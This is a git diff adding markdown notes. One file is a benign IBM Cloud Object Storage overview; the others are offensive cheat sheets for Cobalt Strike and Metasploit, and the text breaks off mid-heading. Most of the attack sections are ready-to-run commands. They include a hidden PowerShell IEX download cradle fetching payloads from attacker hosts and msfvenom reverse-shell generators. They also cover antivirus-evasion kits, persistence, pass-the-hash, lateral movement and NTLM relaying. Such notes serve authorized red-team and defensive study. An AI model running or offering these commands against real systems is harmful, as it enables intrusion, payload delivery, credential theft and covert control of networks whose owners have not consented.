a/personas/_shared/internal-allthethings/cloud/ibm/ibm-cloud-object-storage.md b/personas/_shared/internal-allthethings/cloud/ibm/ibm-cloud-object-storage.md new file mode 100644 index 0000000..790d301 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/ibm/ibm-cloud-object-storage.md @@ -0,0 +1,119 @@ +# IBM Cloud Object Storage + +IBM Cloud Object Storage is a highly scalable, secure, and durable cloud storage service designed for storing and accessing unstructured data like images, videos, backups, and documents. With the ability to scale seamlessly based on the data volume, IBM Cloud Object Storage is ideal for handling large-scale data storage needs, such as archiving, backup, and modern applications like AI and machine learning workloads. + +## Key Features + +### 1. **Scalability** + +- **Dynamic Scaling**: IBM Cloud Object Storage can grow dynamically with your data needs, ensuring you never run out of storage space. There’s no need for pre-provisioning or capacity planning, as it scales automatically based on demand. +- **No Size Limits**: Store an unlimited amount of data, from kilobytes to petabytes, without constraints. + +### 2. **High Durability and Availability** + +- **Redundancy**: Data is automatically distributed across multiple regions and availability zones to ensure that it remains available and protected, even in the event of failures. +- **99.999999999% Durability (11 nines)**: IBM Cloud Object Storage provides enterprise-grade durability, meaning that your data is safe and recoverable. + +### 3. **Flexible Storage Classes** + + IBM Cloud Object Storage offers multiple storage classes, allowing you to choose the right balance between performance and cost: + +- **Standard**: For frequently accessed data, providing high performance and low latency. +- **Vault**: For infrequently accessed data with lower storage costs. +- **Cold Vault**: For long-term storage of rarely accessed data, such as archives. +- **Smart Tier**: Automatically optimizes storage costs by tiering objects based on access patterns. + +### 4. **Secure and Compliant** + +- **Encryption**: Data is encrypted at rest and in transit using robust encryption standards. +- **Access Controls**: Fine-grained access policies using IBM Identity and Access Management (IAM) allow you to control who can access your data. +- **Compliance**: Meets a wide range of industry standards and regulatory requirements, including GDPR, HIPAA, and ISO certifications. + +### 5. **Cost-Effective** + +- **Pay-as-You-Go**: With IBM Cloud Object Storage, you only pay for the storage and features you use, making it cost-effective for a variety of workloads. +- **Data Lifecycle Policies**: Automate data movement between storage classes to optimize costs over time based on data access patterns. + +### 6. **Global Accessibility** + +- **Multi-Regional Replication**: Distribute your data across multiple regions for greater accessibility and redundancy. +- **Low Latency**: Access your data with minimal latency, no matter where your users or applications are located globally. + +### 7. **Integration with IBM Cloud Services** + + IBM Cloud Object Storage integrates seamlessly with a wide range of IBM Cloud services, including: + +- **IBM Watson AI**: Store and manage data used in AI and machine learning workloads. +- **IBM Cloud Functions**: Use serverless computing to trigger actions when new objects are uploaded. +- **IBM Kubernetes Service**: Persistent storage for containers and microservices applications. + +## Use Cases + +1. **Backup and Archiving**: + - IBM Cloud Object Storage is ideal for long-term storage of backups and archived data due to its durability and cost-efficient pricing models. Data lifecycle policies automate the movement of less-frequently accessed data to lower-cost storage classes like Vault and Cold Vault. + +2. **Content Delivery**: + - Serve media files like images, videos, and documents to global users with minimal latency using IBM Cloud Object Storage’s multi-regional replication and global accessibility. + +3. **Big Data and Analytics**: + - Store large datasets and logs for analytics applications. IBM Cloud Object Storage can handle vast amounts of data, which can be processed using IBM analytics services or machine learning models. + +4. **Disaster Recovery**: + - Ensure business continuity by storing critical data redundantly across multiple locations, allowing you to recover from disasters or data loss events. + +5. **AI and Machine Learning**: + - Store and manage training datasets for machine learning and AI applications. IBM Cloud Object Storage integrates directly with IBM Watson and other AI services, providing scalable storage for vast datasets. + +## Code Example: Uploading and Retrieving Data + +Here’s an example using Python and the IBM Cloud SDK to upload and retrieve an object from IBM Cloud Object Storage. + +### 1. **Installation** + + Install the IBM Cloud Object Storage SDK for Python: + + ```bash + pip install ibm-cos-sdk + ``` + +### 2. **Uploading an Object** + + ```python + import ibm_boto3 + from ibm_botocore.client import Config + + # Initialize the client + cos = ibm_boto3.client('s3', + ibm_api_key_id='your_api_key', + ibm_service_instance_id='your_service_instance_id', + config=Config(signature_version='oauth'), + endpoint_url='https://s3.us.cloud-object-storage.appdomain.cloud') + + # Upload a file + cos.upload_file(Filename='example.txt', Bucket='your_bucket_name', Key='example.txt') + + print('File uploaded successfully.') + ``` + +### 3. **Retrieving an Object** + + ```python + # Download an object + cos.download_file(Bucket='your_bucket_name', Key='example.txt', Filename='downloaded_example.txt') + + print('File downloaded successfully.') + ``` + +### Configuring IBM Cloud Object Storage + +To start using IBM Cloud Object Storage, follow these steps: + +1. **Sign Up**: Create an IBM Cloud account [here](https://cloud.ibm.com/registration). +2. **Create Object Storage**: In the IBM Cloud console, navigate to **Catalog** > **Storage** > **Object Storage**, and follow the steps to create an instance. +3. **Create Buckets**: After creating an instance, you can create storage containers (buckets) to store your objects. Buckets are where data is logically stored. +4. **Manage Access**: Define access policies using IBM IAM for your Object Storage buckets. +5. **Connect and Use**: Use the provided API keys and endpoints to connect to your Object Storage instance and manage your data. + +## Conclusion + +IBM Cloud Object Storage offers a highly scalable, durable, and cost-effective storage solution for various types of workloads, from simple backups to complex AI and big data applications. With features like lifecycle management, security, and integration with other IBM Cloud services, it’s a flexible choice for any organization looking to manage unstructured data efficiently. diff --git a/personas/_shared/internal-allthethings/command-control/.gitkeep b/personas/_shared/internal-allthethings/command-control/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/personas/_shared/internal-allthethings/command-control/cobalt-strike-beacons.md b/personas/_shared/internal-allthethings/command-control/cobalt-strike-beacons.md new file mode 100644 index 0000000..e38df4d --- /dev/null +++ b/personas/_shared/internal-allthethings/command-control/cobalt-strike-beacons.md @@ -0,0 +1,112 @@ +# Cobalt Strike - Beacons + +## DNS Beacon + +### DNS Configuration + +* Edit the `Zone File` for the domain +* Create an `A record` for Cobalt Strike system +* Create an `NS record` that points to FQDN of your Cobalt Strike system + +Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a `DNS A` record and point it to your Cobalt Strike team server. Use `DNS NS` records to delegate several domains or sub-domains to your Cobalt Strike team server's `A` record. + +Example of DNS on Digital Ocean: + +```powershell +NS example.com directs to 10.10.10.10. 86400 +NS polling.campaigns.example.com directs to campaigns.example.com. 3600 +A campaigns.example.com directs to 10.10.10.10 3600 +``` + +After creating a DNS listener (`Beacon DNS`), verify that your domains resolve to `0.0.0.0` + +* `nslookup jibberish.beacon polling.campaigns.domain.com` +* `nslookup jibberish.beacon campaigns.domain.com` + +If you have trouble with DNS, you can restart the `systemd` service and force Google DNS nameservers. + +```powershell +systemctl disable systemd-resolved +systemctl stop systemd-resolved +rm /etc/resolv.conf +echo "nameserver 8.8.8.8" > /etc/resolv.conf +echo "nameserver 8.8.4.4" >> /etc/resolv.conf +``` + +### DNS Redirector + +```ps1 +socat -T 1 udp4-listen:53,fork udp4:teamserver.example.net:53 +``` + +Debug the DNS queries with `tcpdump -l -n -s 5655 -i eth0 udp port 53`. + +### DNS Mode + +| Mode | Description | +| --- | --- | +| `mode dns-txt` | DNS TXT record data channel (default) | +| `mode dns` | DNS A record data channel | +| `mode dns6` | DNS AAAA record channel | + +## SMB Beacon + +```powershell +link [host] [pipename] +connect [host] [port] +unlink [host] [PID] +jump [exec] [host] [pipe] +``` + +SMB Beacon uses Named Pipes. You might encounter these error code while running it. + +| Error Code | Meaning | Description | +|------------|----------------------|----------------------------------------------------| +| 2 | File Not Found | There is no beacon for you to link to | +| 5 | Access is denied | Invalid credentials or you don't have permission | +| 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. | + +## SSH Beacon + +```powershell +# deploy a beacon +beacon> help ssh +Use: ssh [target:port] [user] [pass] +Spawn an SSH client and attempt to login to the specified target + +beacon> help ssh-key +Use: ssh [target:port] [user] [/path/to/key.pem] +Spawn an SSH client and attempt to login to the specified target + +# beacon's commands +upload Upload a file +download Download a file +socks Start SOCKS4a server to relay traffic +sudo Run a command via sudo +rportfwd Setup a reverse port forward +shell Execute a command via the shell +``` + +## Metasploit compatibility + +* Payload: `windows/meterpreter/reverse_http or windows/meterpreter/reverse_https` +* Set `LHOST` and `LPORT` to the beacon +* Set `DisablePayloadHandler` to `True` +* Set `PrependMigrate` to `True` +* `exploit -j` + +## Custom Payloads + +```powershell +* Attacks > Packages > Payload Generator +* Attacks > Packages > Scripted Web Delivery (S) +$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor +$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml +$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml +``` + +## References + +* [Cobalt Strike > User Guide > DNS Beacon](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/listener-infrastructue_beacon-dns.htm) +* [Simple DNS Redirectors for Cobalt Strike - Thursday 11 March, 2021](https://www.cobaltstrike.com/blog/simple-dns-redirectors-for-cobalt-strike) +* [CobaltStrike DNS Beacon Lab Setup - rioasmara - March 18, 2023](https://rioasmara.com/2023/03/18/cobaltstrike-dns-beacon-lab-setup/) diff --git a/personas/_shared/internal-allthethings/command-control/cobalt-strike-kits.md b/personas/_shared/internal-allthethings/command-control/cobalt-strike-kits.md new file mode 100644 index 0000000..a4f0fdc --- /dev/null +++ b/personas/_shared/internal-allthethings/command-control/cobalt-strike-kits.md @@ -0,0 +1,98 @@ +# Cobalt Strike - Kits + +* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike + +## Elevate Kit + +UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018) + +```powershell +beacon> runasadmin + +Beacon Command Elevators +======================== + + Exploit Description + ------- ----------- + ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113) + ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701) + ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051) + svc-exe Get SYSTEM via an executable run as a service + uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup) + uac-token-duplication Bypass UAC with Token Duplication +``` + +## Persistence Kit + +* [0xthirteen/MoveKit](https://github.com/0xthirteen/MoveKit) +* [fireeye/SharPersist](https://github.com/fireeye/SharPersist) + + ```powershell + # List persistences + SharPersist -t schtaskbackdoor -m list + SharPersist -t startupfolder -m list + SharPersist -t schtask -m list + + # Add a persistence + SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add + SharPersist -t schtaskbackdoor -n "Something Cool" -m remove + + SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add + SharPersist -t service -n "Some Service" -m remove + + SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add + SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly + SharPersist -t schtask -n "Some Task" -m remove + ``` + +## Resource Kit + +> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows + +## Artifact Kit + +> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder. + +[Artifact Kit (Cobalt Strike 4.0)](https://www.youtube.com/watch?v=6mC21kviwG4) + +* Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)` +* Install the dependencies : `sudo apt-get install mingw-w64` +* Edit the Artifact code + * Change pipename strings + * Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc + * Change Import +* Build the Artifact +* Cobalt Strike -> Script Manager > Load .cna + +## Mimikatz Kit + +* Download and extract the .tgz from the Arsenal +* Load the mimikatz.cna aggressor script +* Use mimikatz functions as normal + +## Sleep Mask Kit + +> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping. + +Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons. + +## Mutator Kit + +> The Mutator Kit, introduced by Cobalt Strike, is a tool designed to create uniquely mutated versions of a "sleep mask" used in payloads to evade detection by static signatures. It utilizes LLVM obfuscation techniques to alter the sleep mask, making it difficult for memory scanning tools to identify the mask based on predefined patterns, thereby enhancing operational security for red team activities. + +The OBFUSCATIONS variable can be `flattening`,`substitution`,`split-basic-blocks`,`bogus`. + +```ps1 +OBFUSCATIONS=substitution mutator.sh x64 -emit-llvm -S example.c -o example_with_substitutions.ll +mutator.sh x64 -c -DIMPL_CHKSTK_MS=1 -DMASK_TEXT_SECTION=1 -o sleepmask.x64.o src49/sleepmask.c +``` + +## Thread Stack Spoofer + +> An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory. + +Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`. + +## References + +* [Introducing the Mutator Kit: Creating Object File Monstrosities with Sleep Mask and LLVM - @joehowwolf @HenriNurmi](https://www.cobaltstrike.com/blog/introducing-the-mutator-kit-creating-object-file-monstrosities-with-sleep-mask-and-llvm) diff --git a/personas/_shared/internal-allthethings/command-control/cobalt-strike.md b/personas/_shared/internal-allthethings/command-control/cobalt-strike.md new file mode 100644 index 0000000..96188c1 --- /dev/null +++ b/personas/_shared/internal-allthethings/command-control/cobalt-strike.md @@ -0,0 +1,306 @@ +# Cobalt Strike + +> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity. + +```powershell +sudo apt-get update +sudo apt-get install openjdk-11-jdk +sudo apt install proxychains socat +sudo update-java-alternatives -s java-1.11.0-openjdk-amd64 +sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile] +./cobaltstrike +powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))" +``` + +## Summary + +* [Infrastructure](#infrastructure) + * [Redirectors](#redirectors) + * [Domain fronting](#domain-fronting) +* [OpSec](#opsec) + * [Customer ID](#customer-id) +* [Malleable C2](#malleable-c2) +* [Files](#files) +* [Powershell and .NET](#powershell-and-net) + * [Powershell commabds](#powershell-commands) + * [.NET remote execution](#net-remote-execution) +* [Lateral Movement](#lateral-movement) +* [VPN & Pivots](#vpn--pivots) +* [Beacon Object Files](#beacon-object-files) +* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike) +* [References](#references) + +## Infrastructure + +### Redirectors + +```powershell +sudo apt install socat +socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80 +``` + +### Domain Fronting + +* New Listener > HTTP Host Header +* Choose a domain in "Finance & Healthcare" sector + +## OpSec + +**Don't** + +* Use default self-signed HTTPS certificate +* Use default port (50050) +* Use 0.0.0.0 DNS response +* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D` + +**Do** + +* Use a redirector (Apache, CDN, ...) +* Firewall to only accept HTTP/S from the redirectors +* Firewall 50050 and access via SSH tunnel +* Edit default HTTP 404 page and Content type: text/plain +* No staging `set hosts_stage` to `false` in Malleable C2 +* Use Malleable Profile to taylor your attack to specific actors + +### Customer ID + +> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike. + +* The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later. +* The trial has a Customer ID value of 0. +* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool + +## Malleable C2 + +List of Malleable Profiles hosted on Github + +* Cobalt Strike - Malleable C2 Profiles [xx0hcd/Malleable-C2-Profiles](https://github.com/xx0hcd/Malleable-C2-Profiles) +* Cobalt Strike Malleable C2 Design and Reference Guide [threatexpress/malleable-c2](https://github.com/threatexpress/malleable-c2) +* Malleable-C2-Profiles [rsmudge/Malleable-C2-Profiles](https://github.com/rsmudge/Malleable-C2-Profiles) +* SourcePoint is a C2 profile generator [Tylous/SourcePoint](https://github.com/Tylous/SourcePoint) + +Example of syntax + +```powershell +set useragent "SOME AGENT"; # GOOD +set useragent 'SOME AGENT'; # BAD +prepend "This is an example;"; + +# Escape Double quotes +append "here is \"some\" stuff"; +# Escape Backslashes +append "more \\ stuff"; +# Some special characters do not need escaping +prepend "!@#$%^&*()"; +``` + +Check a profile with `./c2lint`. + +* A result of 0 is returned if c2lint completes with no errors +* A result of 1 is returned if c2lint completes with only warnings +* A result of 2 is returned if c2lint completes with only errors +* A result of 3 is returned if c2lint completes with both errors and warning + +## Files + +```powershell +# List the file on the specified directory +beacon > ls + +# Change into the specified working directory +beacon > cd [directory] + +# Delete a file\folder +beacon > rm [file\folder] + +# File copy +beacon > cp [src] [dest] + +# Download a file from the path on the Beacon host +beacon > download [C:\filePath] + +# Lists downloads in progress +beacon > downloads + +# Cancel a download currently in progress +beacon > cancel [*file*] + +# Upload a file from the attacker to the current Beacon host +beacon > upload [/path/to/file] +``` + +## Powershell and .NET + +### Powershell commands + +```powershell +# Import a Powershell .ps1 script from the control server and save it in memory in Beacon +beacon > powershell-import [/path/to/script.ps1] + +# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned. +beacon > powershell [commandlet][arguments] + +# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto +beacon > powerpick [commandlet] [argument] + +# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs +beacon > psinject [pid][arch] [commandlet] [arguments] +``` + +### .NET remote execution + +Run a local .NET executable as a Beacon post-exploitation job. + +Require: + +* Binaries compiled with the "Any CPU" configuration. + +```powershell +beacon > execute-assembly [/path/to/script.exe] [arguments] +beacon > execute-assembly /home/audit/Rubeus.exe +[*] Tasked beacon to run .NET program: Rubeus.exe +[+] host called home, sent: 318507 bytes +[+] received output: + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.2 +``` + +## Lateral Movement + +:warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe + +* **portscan:** Performs a portscan on a specific target. +* **runas:** A wrapper of runas.exe, using credentials you can run a command as another user. +* **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \ +:exclamation: This module needs Administrator privileges. +* **steal_token:** Steal a token from a specified process. +* **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user. +* **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \ +:exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \ +:muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network. +* **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \ +:exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target. +* **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts. + +:warning: All the commands launch powershell.exe + +```powershell +Beacon Remote Exploits +====================== +jump [module] [target] [listener] + + psexec x86 Use a service to run a Service EXE artifact + psexec64 x64 Use a service to run a Service EXE artifact + psexec_psh x86 Use a service to run a PowerShell one-liner + winrm x86 Run a PowerShell script via WinRM + winrm64 x64 Run a PowerShell script via WinRM + +Beacon Remote Execute Methods +============================= +remote-exec [module] [target] [command] + + Methods Description + ------- ----------- + psexec Remote execute via Service Control Manager + winrm Remote execute via WinRM (PowerShell) + wmi Remote execute via WMI (PowerShell) + +``` + +Opsec safe Pass-the-Hash: + +1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"` +2. `steal_token PID` + +### Assume Control of Artifact + +* Use `link` to connect to SMB Beacon +* Use `connect` to connect to TCP Beacon + +## VPN & Pivots + +:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy. + +> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second. + +```powershell +# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage. +beacon > socks [PORT] +beacon > socks [port] +beacon > socks [port] [socks4] +beacon > socks [port] [socks5] +beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] +beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] [enableLogging|disableLogging] + +# Proxy browser traffic through a specified Internet Explorer process. +beacon > browserpivot [pid] [x86|x64] + +# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port. +beacon > rportfwd [bind port] [forward host] [forward port] + +# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn. +msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin +beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin + +# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller +# then you can handle the connect back on your MSF multi handler +beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin +``` + +## Beacon Object Files + +> A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs + +Example: + +* Compile + + ```ps1 + # To compile this with Visual Studio: + cl.exe /c /GS- hello.c /Fohello.o + + # To compile this with x86 MinGW: + i686-w64-mingw32-gcc -c hello.c -o hello.o + + # To compile this with x64 MinGW: + x86_64-w64-mingw32-gcc -c hello.c -o hello.o + ``` + +* Execute: `inline-execute /path/to/hello.o` + +## NTLM Relaying via Cobalt Strike + +```powershell +beacon> socks 1080 +kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb:// +beacon> rportfwd_local 8445 445 +beacon> upload C:\Tools\PortBender\WinDivert64.sys +beacon> PortBender redirect 445 8445 +``` + +## References + +* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI) +* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0) +* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao) +* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk) +* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8) +* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw) +* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io) +* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0) +* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s) +* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b) +* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/) +* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/) +* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon) +* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/) +* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/) +* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm) +* [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf) diff --git a/personas/_shared/internal-allthethings/command-control/metasploit.md b/personas/_shared/internal-allthethings/command-control/metasploit.md new file mode 100644 index 0000000..15915b7 --- /dev/null +++ b/personas/_shared/internal-allthethings/command-control/metasploit.md @@ -0,0 +1,233 @@ +# Metasploit + +## Summary + +* [Installation](#installation) +* [Sessions](#sessions) +* [Background handler](#background-handler) +* [Meterpreter - Basic](#meterpreter---basic) + * [Generate a meterpreter](#generate-a-meterpreter) + * [Meterpreter Webdelivery](#meterpreter-webdelivery) + * [Get System](#get-system) + * [Persistence Startup](#persistence-startup) + * [Network Monitoring](#network-monitoring) + * [Portforward](#portforward) + * [Upload / Download](#upload--download) + * [Execute from Memory](#execute-from-memory) + * [Mimikatz](#mimikatz) + * [Pass the Hash - PSExec](#pass-the-hash---psexec) + * [Use SOCKS Proxy](#use-socks-proxy) +* [Scripting Metasploit](#scripting-metasploit) +* [Multiple transports](#multiple-transports) +* [Best of - Exploits](#best-of---exploits) +* [References](#references) + +## Installation + +```powershell +curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall +``` + +## Sessions + +```powershell +CTRL+Z -> Session in Background +sessions -> List sessions +sessions -i session_number -> Interact with Session with id +sessions -u session_number -> Upgrade session to a meterpreter +sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter + +sessions -c cmd -> Execute a command on several sessions +sessions -i 10-20 -c "id" -> Execute a command on several sessions +``` + +## Background handler + +ExitOnSession : the handler will not exit if the meterpreter dies. + +```powershell +screen -dRR +sudo msfconsole + +use exploit/multi/handler +set PAYLOAD generic/shell_reverse_tcp +set LHOST 0.0.0.0 +set LPORT 4444 +set ExitOnSession false + +generate -o /tmp/meterpreter.exe -f exe +to_handler + +[ctrl+a] + [d] +``` + +## Meterpreter - Basic + +### Generate a meterpreter + +```powershell +msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf +msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe +msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho +msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php +msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp +msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp +msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war +msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py +msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh +msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl +``` + +### Meterpreter Webdelivery + +Set up a Powershell web delivery listening on port 8080. + +```powershell +use exploit/multi/script/web_delivery +set TARGET 2 +set payload windows/x64/meterpreter/reverse_http +set LHOST 10.0.0.1 +set LPORT 4444 +run +``` + +```powershell +powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB'); +``` + +### Get System + +```powershell +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` + +### Persistence Startup + +```powershell +OPTIONS: + +-A Automatically start a matching exploit/multi/handler to connect to the agent +-L Location in target host to write payload to, if none %TEMP% will be used. +-P Payload to use, default is windows/meterpreter/reverse_tcp. +-S Automatically start the agent on boot as a service (with SYSTEM privileges) +-T Alternate executable template to use +-U Automatically start the agent when the User logs on +-X Automatically start the agent when the system boots +-h This help menu +-i The interval in seconds between each connection attempt +-p The port on which the system running Metasploit is listening +-r The IP of the system running Metasploit listening for the connect back + +meterpreter > run persistence -U -p 4242 +``` + +### Network Monitoring + +```powershell +# list interfaces +run packetrecorder -li + +# record interface n°1 +run packetrecorder -i 1 +``` + +### Portforward + +```powershell +portfwd add -l 7777 -r 172.17.0.2 -p 3006 +``` + +### Upload / Download + +```powershell +upload /path/in/hdd/payload.exe exploit.exe +download /path/in/victim +``` + +### 